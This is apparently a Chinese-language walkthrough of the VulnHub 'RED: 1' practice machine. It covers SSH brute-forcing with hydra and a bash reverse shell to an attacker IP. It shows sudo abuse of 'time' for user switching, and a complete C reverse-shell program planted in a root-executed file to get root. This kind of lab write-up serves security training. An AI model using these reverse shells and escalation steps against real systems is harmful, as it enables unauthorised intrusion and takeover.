vulnhub靶场之RED: 1( 三 )


vulnhub靶场之RED: 1

文章插图
使用解出的密码通过hydra进行ssh爆破,命令:hydra -l john -P result.txt ssh://192.168.1.2,或者超级弱口令检查工具等均可,获得密码:R3v_m4lwh3r3_k1nG!!00 。
vulnhub靶场之RED: 1

文章插图

vulnhub靶场之RED: 1

文章插图
使用ssh登录靶机,账号和密码:john/R3v_m4lwh3r3_k1nG!!0
vulnhub靶场之RED: 1

文章插图
登录成功时发现的问题:
1、连接每过一段时间会自动断开,并且会修改密码,因此我们可以自己反弹一个shell到kali上 。kali开启6688端口的监听:nc -lvvp 6688,shell界面执行:bash -i >& /dev/tcp/192.168.1.12/6688 0>&1 。
vulnhub靶场之RED: 1

文章插图
2、发现cat命令和vi命令进行了互换 。
vulnhub靶场之RED: 1

文章插图
提权:
在home下发现ippsec、oxdf文件夹下的user.txt,但是均无权访问 。
vulnhub靶场之RED: 1

文章插图
输入命令:sudo -l,查看到ippsec不需要密码就提权的命令有time
vulnhub靶场之RED: 1

文章插图

vulnhub靶场之RED: 1

文章插图
切换ippsec账户,命令:sudo -u ippsec /usr/bin/time /bin/bash , 然后查看user.txt文件 。
vulnhub靶场之RED: 1

文章插图
因为我们的shell一直被断开,严重影响我们的操作,因此我们使用ippsec账户反弹一个shell , 这样当原ssh连接断开时,我们的shell就不会被断开了,这里注意cat和vi命令互换了,前面有提到,记得用:python3 -c 'import pty;pty.spawn("/bin/bash")'升级以下 。
vulnhub靶场之RED: 1

文章插图
下面这里可以看到左侧的shell已经被关闭了,但通过ippsec账户反弹的shell还可以正常使用 。
vulnhub靶场之RED: 1

文章插图
查找下ippsec账户所拥有权限的文件,发现了.git文件,命令:find / -group ippsec -type d 2>/dev/null | grep -v proc.
vulnhub靶场之RED: 1

文章插图
在.git文件里发现可执行程序rec并进行执行
vulnhub靶场之RED: 1

文章插图
查看了下目录下文件的所有者,发现是rev文件、supersecretfileuc.c文件具有root权限 , 然后想到了替换.c文件的内容,通过,c文件创建反弹root权限的shell,然后等待rcv执行调用supersecretfileuc.c完成root权限shell的反弹 。
1、删除rev文件和supersecretfileuc.c文件 , rm rev和rm supersecretfileuc.c 。
2、在攻击机中开启9001端口的监听,命令:nc -lvvp 9001 。
3、在靶机/var/www/wordpress/.git目录下创建supersecretfileuc.c并写入c语言反弹shell的脚本,命令:cat supersecretfileuc.c 。
这里等待rev自动执行即可 , 手动执行是不行的 。
c语言的反弹shell的脚本可以在https://www.revshells.com/网站生成,脚本内容如下:
#include <stdio.h>#include <sys/socket.h>#include <sys/types.h>#include <stdlib.h>#include <unistd.h>#include <netinet/in.h>#include <arpa/inet.h>int main(void){int port = 9001;struct sockaddr_in revsockaddr;int sockt = socket(AF_INET, SOCK_STREAM, 0);revsockaddr.sin_family = AF_INET;revsockaddr.sin_port = htons(port);revsockaddr.sin_addr.s_addr = inet_addr("192.168.1.12");connect(sockt, (struct sockaddr *) &revsockaddr,sizeof(revsockaddr));dup2(sockt, 0);dup2(sockt, 1);dup2(sockt, 2);char * const argv[] = {"sh", NULL};execve("/bin/sh", argv, NULL);return 0;}
vulnhub靶场之RED: 1

文章插图

vulnhub靶场之RED: 1

文章插图
在root下发现red留下的后门文件,删除就可以夺回控制权了 。

推荐阅读